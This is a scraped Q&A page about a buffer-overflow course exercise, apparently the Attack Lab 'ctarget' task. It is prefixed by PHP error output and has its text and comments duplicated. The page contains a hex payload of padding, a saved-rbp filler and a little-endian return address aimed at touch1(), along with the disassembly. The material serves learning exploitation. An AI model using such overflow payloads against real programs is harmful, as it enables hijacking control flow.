Warning: file_get_contents(/data/phpspider/zhask/data//catemap/4/c/63.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181

Warning: file_get_contents(/data/phpspider/zhask/data//catemap/0/assembly/6.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
C 缓冲区溢出--旧rbp空间和返回空间_C_Assembly_Buffer Overflow - Fatal编程技术网

C 缓冲区溢出--旧rbp空间和返回空间

C 缓冲区溢出--旧rbp空间和返回空间,c,assembly,buffer-overflow,C,Assembly,Buffer Overflow,我有一个程序(ctarget),它在缓冲区中使用get()函数。我需要溢出缓冲区并调用另一个程序。从汇编代码(我没有源代码)可以看到堆栈分配的大小(0x38): 前导零填充缓冲区。我在程序没有seg错误的地方做了一个评论。我又添加了8个字节来填充堆栈上的旧%rbp位置。最后,我将所需函数的地址添加到(应该是什么)返回空间中——以小尾端顺序 使用hex2raw程序,我可以使用以下命令执行该程序:/hex2raw60 19 40 00 ff ff ff ff 7fIt是64位二进制?请附加注册信息和

我有一个程序(
ctarget
),它在缓冲区中使用
get()
函数。我需要溢出缓冲区并调用另一个程序。从汇编代码(我没有源代码)可以看到堆栈分配的大小(0x38):

前导零填充缓冲区。我在程序没有seg错误的地方做了一个评论。我又添加了8个字节来填充堆栈上的
旧%rbp
位置。最后,我将所需函数的地址添加到(应该是什么)返回空间中——以小尾端顺序

使用
hex2raw
程序,我可以使用以下命令执行该程序:
/hex2raw

当我用上述方法运行时,我会出现seg故障

下面是我试图调用的函数的程序集:

0000000000401960 <touch1>:
  401960:   48 83 ec 08             sub    $0x8,%rsp
  401964:   c7 05 ae 3b 20 00 01    movl   $0x1,0x203bae(%rip)        # 60551c <vlevel>
  40196b:   00 00 00 
  40196e:   bf 6a 32 40 00          mov    $0x40326a,%edi
  401973:   e8 68 f3 ff ff          callq  400ce0 <puts@plt>
  401978:   bf 01 00 00 00          mov    $0x1,%edi
  40197d:   e8 b4 04 00 00          callq  401e36 <validate>
  401982:   bf 00 00 00 00          mov    $0x0,%edi
  401987:   e8 e4 f4 ff ff          callq  400e70 <exit@plt>

它是64位二进制文件?请附加注册信息和堆栈转储如果64位,请尝试此60 19 40 00 ff ff ff ff抱歉,直到现在我才看到我以前的评论,尝试此作为8字节地址->60 19 40 00 ff ff ff ff 7fIt是64位二进制?请附加注册信息和堆栈转储如果64位,请尝试此60 19 40 00 ff ff ff抱歉,直到现在我才看到我以前的评论,尝试此作为8字节地址->60 19 40 00 ff ff ff 7f
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00
/* at this point there is no seg fault */
00 00 00 00 00 00 00 00 /* 8 byte old rbp */
60 19 40 00 00 00 00 00 /* 8 bytes address */
0000000000401960 <touch1>:
  401960:   48 83 ec 08             sub    $0x8,%rsp
  401964:   c7 05 ae 3b 20 00 01    movl   $0x1,0x203bae(%rip)        # 60551c <vlevel>
  40196b:   00 00 00 
  40196e:   bf 6a 32 40 00          mov    $0x40326a,%edi
  401973:   e8 68 f3 ff ff          callq  400ce0 <puts@plt>
  401978:   bf 01 00 00 00          mov    $0x1,%edi
  40197d:   e8 b4 04 00 00          callq  401e36 <validate>
  401982:   bf 00 00 00 00          mov    $0x0,%edi
  401987:   e8 e4 f4 ff ff          callq  400e70 <exit@plt>
  4 int getbuf() {
  6     char buf[BUFFER_SIZE];
  7     Gets(buf);
  8     return 1;
  9 }

void touch1() {
    vlevel = 1;       /* Part of validation protocol */
    printf("Touch1!: You called touch1()\n");
    validate(1);
    exit(0);
}